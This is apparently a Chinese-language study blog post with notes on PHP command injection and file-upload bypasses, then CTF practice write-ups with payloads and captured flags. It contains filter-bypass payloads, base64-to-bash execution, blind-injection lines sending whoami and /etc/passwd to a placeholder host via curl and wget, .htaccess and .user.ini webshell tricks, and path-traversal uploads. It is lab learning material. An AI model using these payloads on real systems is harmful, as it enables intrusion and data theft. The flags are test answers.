今天是2026年7月24日
今天学习了命令注入和文件上传及绕过技巧,具体内容如下:
命令注入
拼接符号:
; # 顺序执行
\| #管道
|| #要前面失败才能执行后面
&& and #前面成功才执行后面
· #命令替换,反引号
$() #命令替换同反引号
%0a #URL编码的换行符
执行系统命令的函数:
system() #执行命令并输出结果
exec() #执行命令,结果存入数组
shell_exec() #执行命令返回完整输出字符串
passthru() #执行命令并直接输出原始结果
popen() #打印进程
`` 等价于 shell_exec()
命令注入绕过
1.空格绕过
${IFS}(Internal Field Separator,shell 内部字段分隔符)
关键字绕过
c\a\t
c'a't
c"a"t
echo 'SFIHFDSdfdgFDS=' | base64 -d | bash
more
less
head
tail
nl
tac
包含:
?a=eval($_GET['1'])&1=system('cat flag.php');
include$_GET["1"]?>&1=
data://text/plain,<?php system('ls')?>
盲命令注入
127.0.0.1; sleep 5 #延迟判断
127.0.0.1; curl http://xxx/?data=$(whoami) #外带数据
127.0.0.1; wget http://xxx/?data=$(cat /etc/passwd) #外带数据
127.0.0.1; echo "test" > /var/www/html/test.txt #写文件到web目录,然后访问确认
常见日志文件路径:
apache(linux) /var/log/apache2/access.log
apache(CentOS) /var/log/httpd/access_log
Nginx /var/log/nginx/access.log
Apache(Windows) C:\xampp\apache\logs\access.log
session: /tmp/sess_(session_id)
/proc/self/environ包含:
包含当前环境变量:
/proc/self/1 #查看当前进程数为1的
文件上传
可用绕过后缀:
.phtml #默认支持,php可执行文件
.php3 #默认支持,php3兼容
.php4 #默认支持,php4兼容
.php5 #默认支持,php5兼容
.pht #需要配置,少见
.phps #需要配置,php源码高亮
.inc #需要配置,php包含文件
其他绕过技巧:
大小写绕过
空格绕过 #win自动去除尾部空格
点绕过 #win自动去除尾部点
::$DATA绕过 #winNTFS流特性
点+空格+点 #组合绕过
双写绕过 #黑名单只替换一次
%00截断 #NULL字符截断后续字符
文件头绕过(图片马)
头部加上GIF86a
配置文件绕过:
.htaccess
内容:
AddType application/x-httpd-php .jpg
.user.ini
内容:
auto_prepend_file = shell.jpg
条件竞争上传
用多线程不停的上传shell.php,同时多线程不停的访问uploads/shell.php,总有一瞬间能访问到
练习
练习1
进入靶场看到源码

发现flag被过滤了大小写,并且直接ls没有任何回显,用system()函数发现有回显了,直接构造payload:
?c=system(ls);

发现flag.php,继续读,用?可以绕过过滤,构造payload:
?c=system('cat fla?.php'); #在源码中找到flag
补充:
用*也可绕过:
?c=system('cat f*.php');练习2
进入靶场

题目过滤了flag、system、php包括大小写,system被禁用了可以用exec,并用print打印出来构造payload:
?c=print(exec('ls')); #没有找到flag
?c=print(exec('cat fl??.???')); #直接读取flag,成功拿到falg
练习3

过滤了多种关键字符,system可以用passthru()代替,剩下的和之前一样,直接构造:
?c=passthru("ls"); #拿到flag名?c=passthru("tac%09fla?????"); #拿到flag
练习4
进入靶场,发现过滤了很多关键字符

发现可以用文件包含include来包含参数,于是构造payload:
?c=include$_GET["1"]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码,进行解码得到flag:ctfshow{5903ba50-e4e4-4383-93e4-69299e3e8235}


练习5
进入靶场发现这题比上一题多过滤了“双引号,所以沿用上一题的payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
拿到flag
练习6
进入靶场

又多过滤了:,但还是不受影响进行沿用上题的payload:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
拿到flag
练习7
这次又多禁用了两个字符分别是:<、=,还是不受影响,继续沿用:
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
拿到flag
练习8
过滤了数字,把包含的数字改为字母

继续payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
拿到flag
练习9
进入靶场

让上传图片,看源码能看到只能上传png格式,可以在前端直接修改png为php上传木马

改完后直接上传木马文件,上传成功

直接访问这个路径看看是否成功

看到文件头,上传成功,直接发post传参a=system('ls ../');发现flag,直接构造:
a=system('cat ../flag.php'); #在源码中拿到flag
练习10
进入靶场

上传了一个文件发现一直不成功,抓包看到content-type变成了application/octet-stream,将其修改为image/png,上传成功

接下来就和上一题一样了,使用post传参a=system('cat ../flag.php');拿到flag

练习11
进入靶场

任务是上传webshell到服务器,但上传区只能上传图片,直接直接把木马文件名改成.png图片形式上传,然后用bp抓包,把文件名改为.php,发包后发现过滤了php,用双写绕过,上传成功

用蚁剑连接:

在里面找到flag:flag{a89f40341f4271659154829a2215f428}

练习12
进入靶场

和上一题一样,直接抓包,把后缀png改为php,成功上传后连接蚁剑

连接成功,在根目录拿到flag:flag{adbf5a778175ee757c34d0eba4e932bc}

练习13
进入靶场

上传文件,要准备两个文件,一个.htaccess.jpg,一个shell.jpg
.htaccess.jpg里面写入:
AddType application/x-httpd-php .jpg
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=zhy.jpg"
shell.jpg内写入:
一句话木马base64形式(由于代码有风险,就不展示了,可以在网上搜一下) #一句话木马的base64编码形式
在上传.htaccess.jpg的时候进行抓包,把包中的后缀删掉,发包

成功上传,然后再把shell.jpg上传,打开蚁剑连接:

连接成功,在根目录拿到flag:NSSCTF{9c95368d-fc44-4fd3-9597-e9e7617d2570}
今日作业
进入靶场

代码逻辑为自动创建专属文件夹(拿md5加密后的ip值为文件夹名),直接把文件存入文件夹,于是要自己写POST表单进行上传,构造如下payload:
<form method="POST" enctype="multipart/form-data" action="http://03f1dd35-2a80-4909-8dbc-8181684861b7.www.polarctf.com:8090/">
<input type="file" name="file">
<button>提交上传</button>
</form>
把这段代码写入html文件,在浏览器打开,直接上传一句话木马,然后bp把木马名改为../aac.php,这是为了让木马文件跳出当前目录跳出"沙箱"

上传成功后,拿到md5值

打开蚁剑,连接这个链接,密码a
http://03f1dd35-2a80-4909-8dbc-8181684861b7.www.polarctf.com:8090/600b073a61e55394df3c97e3cba1ba85/aac.php
连接成功,在根目录拿到flag:flag{256d5ca173f463165db6ed366b597da8}

今日学习分享
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法